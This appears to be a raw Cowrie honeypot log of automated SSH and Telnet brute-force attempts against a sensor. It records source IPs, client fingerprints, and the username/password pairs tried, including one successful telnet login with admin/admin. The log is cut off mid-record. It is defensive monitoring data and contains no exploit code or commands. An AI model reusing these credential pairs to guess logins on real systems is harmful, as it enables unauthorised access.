{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:20:07.456754Z","src_ip":"190.6.32.107","session":"368c6617d153","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"lord","password":"lord","message":"login attempt [lord/lord] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:20:07.710763Z","src_ip":"190.6.32.107","session":"368c6617d153","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:20:08.775725Z","src_ip":"190.6.32.107","session":"368c6617d153","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.222.183","src_port":58898,"dst_ip":"159.203.135.109","dst_port":22,"session":"e87b583bd41a","protocol":"ssh","message":"New connection: 103.15.222.183:58898 (159.203.135.109:22) [session: e87b583bd41a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:20:09.498529Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:20:09.503739Z","src_ip":"103.15.222.183","session":"e87b583bd41a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:20:09.757189Z","src_ip":"103.15.222.183","session":"e87b583bd41a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"skillet","message":"login attempt [root/skillet] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:20:10.508819Z","src_ip":"103.15.222.183","session":"e87b583bd41a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:20:11.763520Z","src_ip":"103.15.222.183","session":"e87b583bd41a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.172.54.111","src_port":48018,"dst_ip":"10.17.0.5","dst_port":22,"session":"9b4e6906383e","protocol":"ssh","message":"New connection: 109.172.54.111:48018 (10.17.0.5:22) [session: 9b4e6906383e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:20:23.515693Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:20:23.526089Z","src_ip":"109.172.54.111","session":"9b4e6906383e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:20:23.620901Z","src_ip":"109.172.54.111","session":"9b4e6906383e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"adsl120","message":"login attempt [root/adsl120] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:20:23.908225Z","src_ip":"109.172.54.111","session":"9b4e6906383e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:20:25.007125Z","src_ip":"109.172.54.111","session":"9b4e6906383e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.133.65.220","src_port":56282,"dst_ip":"159.203.135.109","dst_port":22,"session":"ac6092af11d3","protocol":"ssh","message":"New connection: 43.133.65.220:56282 (159.203.135.109:22) [session: ac6092af11d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:20:34.084202Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:20:34.090885Z","src_ip":"43.133.65.220","session":"ac6092af11d3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:20:34.300297Z","src_ip":"43.133.65.220","session":"ac6092af11d3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"foundry","password":"1234","message":"login attempt [foundry/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:20:35.165843Z","src_ip":"43.133.65.220","session":"ac6092af11d3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:20:36.380033Z","src_ip":"43.133.65.220","session":"ac6092af11d3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.108803510665894,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:20:37.794409Z","src_ip":"69.4.83.194","session":"3708e2f8e8ed","protocol":"telnet"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:20:40.330628Z","src_ip":"89.185.81.112","session":"918c4974401e","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:20:40.386373Z","src_ip":"89.185.81.112","session":"918c4974401e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.63.178","src_port":50256,"dst_ip":"159.203.135.109","dst_port":22,"session":"84926d2998ae","protocol":"ssh","message":"New connection: 62.133.63.178:50256 (159.203.135.109:22) [session: 84926d2998ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:21:08.948760Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:21:08.954672Z","src_ip":"62.133.63.178","session":"84926d2998ae","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:21:09.083583Z","src_ip":"62.133.63.178","session":"84926d2998ae","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"147852q","message":"login attempt [root/147852q] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:21:09.462186Z","src_ip":"62.133.63.178","session":"84926d2998ae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:21:10.590525Z","src_ip":"62.133.63.178","session":"84926d2998ae","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.79.165.133","src_port":49020,"dst_ip":"159.203.135.109","dst_port":22,"session":"b490b6ce53b4","protocol":"ssh","message":"New connection: 101.79.165.133:49020 (159.203.135.109:22) [session: b490b6ce53b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:21:22.956248Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:21:22.961199Z","src_ip":"101.79.165.133","session":"b490b6ce53b4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:21:23.179074Z","src_ip":"101.79.165.133","session":"b490b6ce53b4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hdoop","password":"hdoop","message":"login attempt [hdoop/hdoop] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:21:24.081866Z","src_ip":"101.79.165.133","session":"b490b6ce53b4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:21:25.302866Z","src_ip":"101.79.165.133","session":"b490b6ce53b4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"106.243.250.115","src_port":58248,"dst_ip":"159.203.135.109","dst_port":22,"session":"039a11897695","protocol":"ssh","message":"New connection: 106.243.250.115:58248 (159.203.135.109:22) [session: 039a11897695]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:21:25.611220Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:21:25.616748Z","src_ip":"106.243.250.115","session":"039a11897695","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:21:25.827073Z","src_ip":"106.243.250.115","session":"039a11897695","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vbox","password":"vbox","message":"login attempt [vbox/vbox] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:21:26.692294Z","src_ip":"106.243.250.115","session":"039a11897695","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:21:27.904843Z","src_ip":"106.243.250.115","session":"039a11897695","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"180.178.94.210","src_port":46686,"dst_ip":"159.203.135.109","dst_port":22,"session":"471ed3c7a7b3","protocol":"ssh","message":"New connection: 180.178.94.210:46686 (159.203.135.109:22) [session: 471ed3c7a7b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:21:45.688756Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:21:45.694294Z","src_ip":"180.178.94.210","session":"471ed3c7a7b3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:21:45.956438Z","src_ip":"180.178.94.210","session":"471ed3c7a7b3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abc@123!@#","message":"login attempt [root/abc@123!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:21:47.038117Z","src_ip":"180.178.94.210","session":"471ed3c7a7b3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:21:48.316844Z","src_ip":"180.178.94.210","session":"471ed3c7a7b3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.233.85.71","src_port":44780,"dst_ip":"10.17.0.5","dst_port":22,"session":"fa60755d1cd2","protocol":"ssh","message":"New connection: 37.233.85.71:44780 (10.17.0.5:22) [session: fa60755d1cd2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:21:52.107560Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:21:52.111671Z","src_ip":"37.233.85.71","session":"fa60755d1cd2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert